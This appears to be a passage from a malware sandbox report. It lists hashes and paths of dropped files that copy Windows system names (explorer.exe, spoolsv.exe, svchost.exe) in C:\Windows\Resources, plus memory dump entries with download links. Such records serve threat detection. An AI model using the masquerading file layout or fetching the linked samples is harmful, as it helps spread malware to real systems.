SHA512 6829e640918a28017e44c69647f8842825b5161b710afcee315c5afdad52248925912fb0614767d4b911712a7608a1a9a68a992a6121fcba2f785c131895e271
SSDEEP 3072:dDAikNUWzo0qGzruZW0qM05mw1mJTQSaMm5/6nHeeP1Gp:5AqW0pdxWlqeeP1Gp
TLSH
T11AF37D1E658524B8D2E258BCCAB90944F331B45517105FFB1AF845BA0D4B7ECBBFBA02
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AMIDEWINx64.EXE

Path C:\Windows\AMIDEWINx64.EXE
Size 36B
SHA256 c3fa59901d56ce8a95a303b22fd119cb94abf4f43c4f6d60a81fd78b7d00fa65
MD5 a1ca4bebcd03fafbe2b06a46a694e29a
SHA1 ffc88125007c23ff6711147a12f9bba9c3d197ed
SHA512 6fe1730bf2a6bba058c5e1ef309a69079a6acca45c0dbca4e7d79c877257ac08e460af741459d1e335197cf4de209f2a2997816f2a2a3868b2c8d086ef789b0e
MD5 SHA1 SHA512

Submit Download

explorer.exe

Path C:\Windows\Resources\Themes\explorer.exe
Size 2.6MB
SHA256 2434298e16fbbfd633be701e018ef5272c555a58096ece07d75f472067ae59c4
MD5 33b24b4bae325cae5f9614bedc587ae7
SHA1 1db35078a27b6d11703bcae9e516194c1bd08ec2
SHA512 649c4020e138793a3ef5e2f407df13ef1b18b77dd65502bef621175ecc88b3b872aaaef559c8d5dbcf2316c59d589ab2fe1a586780d0b679a8020dcf48d3711e
SSDEEP 49152:WXzhpDtKSK1cb8PGK+Tfuqmpc3elWo8GnQAsYZEVW:WXzhW148Pd+Tf1mpcOldJQ3/VW
TLSH
T10CC5D006907AB741CFB044BA4BCB61F6DDDF22D6094BF38917354E24669E60E93EE4C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icsys.icn.exe

Path C:\Windows\Resources\Themes\icsys.icn.exe
Size 2.6MB
SHA256 8c8dfe4cdba22f65f47851f9f5939fb31c02f8c67b1ed3de782557de6ef5d9fd
MD5 5036deedb789b134425f4412a6c49502
SHA1 31e878b0f935e24ebe78dcfabbd4a11b0462c24e
SHA512 fa2a0e379164d130490037af4159bd8713b7d1265116eecb0339f0ef1ffc529764c31836ea46cdee1eb7dce0ad078b3aa86661081d1d71ecd208d4124ad650b6
SSDEEP 49152:WXzhpDtKSK1cb8PGK+Tfuqmpc3elWo8GnQAsYZEVe:WXzhW148Pd+Tf1mpcOldJQ3/Ve
TLSH
T1D5C5E1152D43434DD1915232B5B9A90DF553EEE8CB708AEB34CE6E87CACE972D907A0C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

spoolsv.exe

Path C:\Windows\Resources\spoolsv.exe
Size 2.6MB
SHA256 2889727c9a057f9c0345392bdb6d9215f03e2be5ad2ee1d3d774ce42bae561ff
MD5 4c0885dda1710a4aa3566992e4df8d15
SHA1 20016b8b679849b5cfd0975f365cda9459db5736
SHA512 582985dbe947597b9ad077ca1ce53fcf9e60af0bf102a095a3fd0d5ebf008c96785292f40c3cabdef1abf345fc0b3287a8aa0fa913cbac410d2392198a2d5ec9
SSDEEP 49152:WXzhpDtKSK1cb8PGK+Tfuqmpc3elWo8GnQAsYZEVw:WXzhW148Pd+Tf1mpcOldJQ3/Vw
TLSH
T177C5E0AD1F7A81E2DBD3F83A35DA68CD8EF584D2628562410F67B58542CD6D6C8F0C23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchost.exe

Path C:\Windows\Resources\svchost.exe
Size 2.6MB
SHA256 09287bad010f9488f476e92c273cc51557a43ba53d93cd27b44d8e5b281be6b3
MD5 bb4b7c7f635e22127201933027cbc3d0
SHA1 b2e1b401f1cf01cb72a0194ff6b34a8c0176c8a5
SHA512 0857e9de66c57006a3bfd1663dd66c0f78e308b30622a9615394ae5b6a616229fc27707e6b33ad2cb70751d6da648a062ddd6c4dd8d69a16104175a863b5add0
SSDEEP 49152:WXzhpDtKSK1cb8PGK+Tfuqmpc3elWo8GnQAsYZEVl:WXzhW148Pd+Tf1mpcOldJQ3/Vl
TLSH
T137C5E191463D4B7ACFBC5FF6AB8ACD03A0510F3A4068C29832C92B413E6B465B57B7D5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/124-58-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/1436-46-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/1436-63-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/1436-64-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/2260-0-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/2260-59-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/3016-55-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/5128-34-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/5128-57-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/5860-23-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/5860-61-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/5860-75-0x0000000000400000-0x0000000000A16000-memory.dmp

Download

memory/5860-77-0x0000000000400000-0x0000000000A16000-memory.dmp

Download